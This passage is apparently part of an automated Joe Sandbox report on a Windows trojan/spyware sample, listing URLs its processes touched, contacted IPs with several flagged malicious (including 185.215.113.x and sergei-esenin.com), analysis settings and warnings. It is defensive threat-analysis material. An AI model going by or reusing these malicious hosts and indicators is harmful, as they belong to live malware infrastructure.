https://community.cloudflare.steamstatic.com/public/shared/images/responsive/header_logo.png	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://spocs.getpocket.com/	firefox.exe, 0000001B.00000002.2481037928.000001BAB7223000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2405182048.000001BAAC07C000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD56F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2496157306.000001BAB7762000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB715B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 00000020.00000002.2369541245.000001A3BBF12000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/abuse/report/addon/	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://services.addons.mozilla.org/api/v4/addons/search/?guid=%IDS%&lang=%LOCALE%	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://color.firefox.com/?utm_source=firefox-browser&utm_medium=firefox-browser&utm_content=theme-f	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://ebay.comP	firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.iqiyi.com/	firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/featureI	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/endDate	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/profile.js?v=KkhJqW2NGKiM&l=engli	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/breach-stats?includeResolved=true	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/cross-site-tracking-report	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://help.steampowered.com/en/	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://yandex.com	firefox.exe, 0000001B.00000002.2501986396.000005E7CE604000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/applications/community/manifest.js?v=	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/about	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://account.bellmedia.c	firefox.exe, 0000001B.00000002.2470374731.000001BAB224F000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://sergei-esenin.com/5U	file.exe, 00000000.00000003.1650005776.0000000005B30000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706577636.0000000005B11000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/enrollmentEndDate	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/javascript/global.js?v=bOP7RorZq4_W&l=englis	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://login.microsoftonline.com	firefox.exe, 0000001B.00000002.2470374731.000001BAB224F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://broadcast.st.dl.eccdnx.com	file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://developer.mozilla.org/docs/Web/API/Push_API/Using_the_Push_API#Encryptiondocument.requestSto	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://firefox-settings-attachments.cdn.mozilla.net/main-workspace/ms-images/f0f51715-7f5e-48de-839	firefox.exe, 0000001B.00000003.2281210409.000001BAAFB47000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/shared/javascript/shared_responsive_adapter.js?v	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://www.zhihu.com/	firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE5A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.c.lencr.org/0	file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2260813134.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://x1.i.lencr.org/0	file.exe, 00000000.00000003.1589928727.0000000005B52000.00000004.00000800.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2133412796.00000000056DE000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2260813134.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7275000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2267172030.000001BAB06E1000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://infra.spec.whatwg.org/#ascii-whitespace	firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://duckduckgo.com/?t=ffab&q=	firefox.exe, 0000001B.00000002.2426918174.000001BAAEE80000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://steamcommunity.com/workshop/	file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2313867886.0000000000DE5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/products/firefoxgro.all	805c374e44.exe, 0000000C.00000003.2134487280.00000000058E0000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://support.mozilla.org/kb/refresh-firefox-reset-add-ons-and-settings2	firefox.exe, 0000001B.00000002.2470374731.000001BAB2265000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://mail.yahoo.co.jp/compose/?To=%s	firefox.exe, 0000001B.00000003.2207019082.000001BAAC633000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2417867006.000001BAAD582000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2399069245.000001BAAAE7D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2413092162.000001BAAC632000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://community.cloudflare.steamstatic.com/public/css/skin_1/profilev2.css?v=gNE3gksLVEVa&l=en	file.exe, 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1706786274.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1630876970.00000000011FC000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1557042089.00000000011F8000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085690060.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086303664.0000000000DEB000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://contile.services.mozilla.com/v1/tiles	firefox.exe, 0000001B.00000003.2267172030.000001BAB068F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001B.00000002.2485314442.000001BAB7493000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2481037928.000001BAB7282000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2448288655.000001BAB068F000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.amazon.co.uk/	firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://monitor.firefox.com/user/preferences	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://screenshots.firefox.com/	firefox.exe, 0000001B.00000003.2203401934.000001BAAEB57000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2200219175.000001BAAE900000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2203752938.000001BAAEB73000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2202906065.000001BAAEB3A000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB279000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE8D000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2450549192.000001BAB081B000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2419808872.000001BAAE670000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://firefox-source-docs.mozilla.org/remote/Security.html	firefox.exe, 0000001B.00000002.2401432678.000001BAAB224000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/branches/anyOf/2/items/properties/features/items/properties/value/ad	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://support.mozilla.org/1/firefox/%VERSION%/%OS%/%LOCALE%/tracking-content-report	firefox.exe, 0000001B.00000002.2395327211.000001BAAA690000.00000002.08000000.00040000.00000000.sdmp, firefox.exe, 0000001E.00000002.2376935973.000001C8AAA10000.00000002.10000000.00040000.00000000.sdmp, firefox.exe, 00000020.00000002.2373373466.000001A3BC490000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://www.wykop.pl/	firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://vk.com/	firefox.exe, 0000001B.00000002.2454797745.000001BAB0F36000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2401432678.000001BAAB2E4000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://developer.mozilla.org/en-US/docs/Glossary/speculative_parsingTrying	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://www.olx.pl/	firefox.exe, 0000001B.00000002.2472639943.000001BAB25E5000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2459823995.000001BAB1625000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2426918174.000001BAAEE5A000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://mozilla.org/Z	firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://xhr.spec.whatwg.org/#sync-warningThe	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-4	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://community.cloudflare.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1	file.exe, 00000000.00000003.1539872027.0000000001205000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1539768286.00000000011F4000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531437575.0000000001168000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531424130.00000000011FE000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2085631485.0000000000DF2000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000000C.00000003.2086131060.0000000000DF4000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2226852360.0000000000A36000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009C9000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009C9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://tools.ietf.org/html/draft-ietf-httpbis-encryption-encoding-02#section-2	firefox.exe, 0000001B.00000002.2444183628.000001BAAFE00000.00000002.08000000.00040000.00000000.sdmp	false	URL Reputation: safe	unknown
https://github.com/google/closure-compiler/issues/3177	firefox.exe, 0000001B.00000003.2248606223.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2255742889.000001BAB7340000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2247969630.000001BAB7347000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2483543981.000001BAB7342000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000003.2250186899.000001BAB7338000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/#/properties/quickSuggestShouldShowOnboardingDialog	firefox.exe, 0000001B.00000002.2450549192.000001BAB0856000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://mozilla.org/c	firefox.exe, 0000001B.00000002.2503584538.00001A2F74700000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://www.google.com/complete/	firefox.exe, 0000001B.00000003.2264104949.000001BAB71D7000.00000004.00000800.00020000.00000000.sdmp, firefox.exe, 0000001B.00000002.2479697799.000001BAB71D7000.00000004.00000800.00020000.00000000.sdmp	false		unknown
https://api.steampowered.com/	file.exe, 00000000.00000003.1531405680.00000000011EC000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2232312845.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2261516565.00000000009F5000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000002.2262836486.0000000000A03000.00000004.00000020.00020000.00000000.sdmp, 805c374e44.exe, 0000001C.00000003.2228613917.00000000009F5000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.37	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
34.107.221.82	prod.detectportal.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
172.67.206.204	sergei-esenin.com	United States	13335	CLOUDFLARENETUS	true
35.244.181.201	prod.balrog.prod.cloudops.mozgcp.net	United States	15169	GOOGLEUS	false
34.117.188.166	contile.services.mozilla.com	United States	139070	GOOGLE-AS-APGoogleAsiaPacificPteLtdSG	false
92.122.104.90	unknown	European Union	16625	AKAMAI-ASUS	true
142.250.185.142	youtube.com	United States	15169	GOOGLEUS	false
104.102.49.254	steamcommunity.com	United States	16625	AKAMAI-ASUS	true
35.190.72.216	prod.classify-client.prod.webservices.mozgcp.net	United States	15169	GOOGLEUS	false
34.160.144.191	prod.content-signature-chains.prod.webservices.mozgcp.net	United States	2686	ATGS-MMD-ASUS	false

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1539514
Start date and time:	2024-10-22 19:23:09 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 30s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	51
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@74/28@79/13
EGA Information:	Successful, ratio: 14.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): MpCmdRun.exe, dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.238, 2.22.61.56, 2.22.61.59
Excluded domains from analysis (whitelisted): www.reddit.com, ciscobinary.openh264.org, slscr.update.microsoft.com, incoming.telemetry.mozilla.org, a17.rackcdn.com.mdc.edgesuite.net, aus5.mozilla.org, a19.dscg10.akamai.net, support.mozilla.org, ocsp.digicert.com, us-west1.prod.sumo.prod.webservices.mozgcp.net, redirector.gvt1.com, firefox.settings.services.mozilla.com, push.services.mozilla.com, safebrowsing.googleapis.com, www.youtube.com, star-mini.c10r.facebook.com, www.facebook.com, twitter.com, fs.microsoft.com, shavar.prod.mozaws.net, otelrules.azureedge.net, ctldl.windowsupdate.com, detectportal.prod.mozaws.net, dyna.wikimedia.org, prod.remote-settings.prod.webservices.mozgcp.net, fe3cr.delivery.mp.microsoft.com, youtube-ui.l.google.com, reddit.map.fastly.net, shavar.services.mozilla.com, www.wikipedia.org, location.services.mozilla.com, telemetry-incoming.r53-2.services.mozilla.com
Execution Graph export aborted for target 805c374e44.exe, PID 7860 because there are no executed function
Execution Graph export aborted for target LDYMRYSK15TF568PLM3O1A8XS.exe, PID 5388 because there are no executed function
Execution Graph export aborted for target R35D5PNQKQVRTA7D.exe, PID 3148 because it is empty
Execution Graph export aborted for target file.exe, PID 6900 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 1992 because there are no executed function
Execution Graph export aborted for target skotes.exe, PID 4128 because there are no executed function
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
13:24:17	API Interceptor	14x Sleep call for process: file.exe modified
13:25:02	API Interceptor	830799x Sleep call for process: skotes.exe modified
13:25:13	API Interceptor	13x Sleep call for process: 805c374e44.exe modified
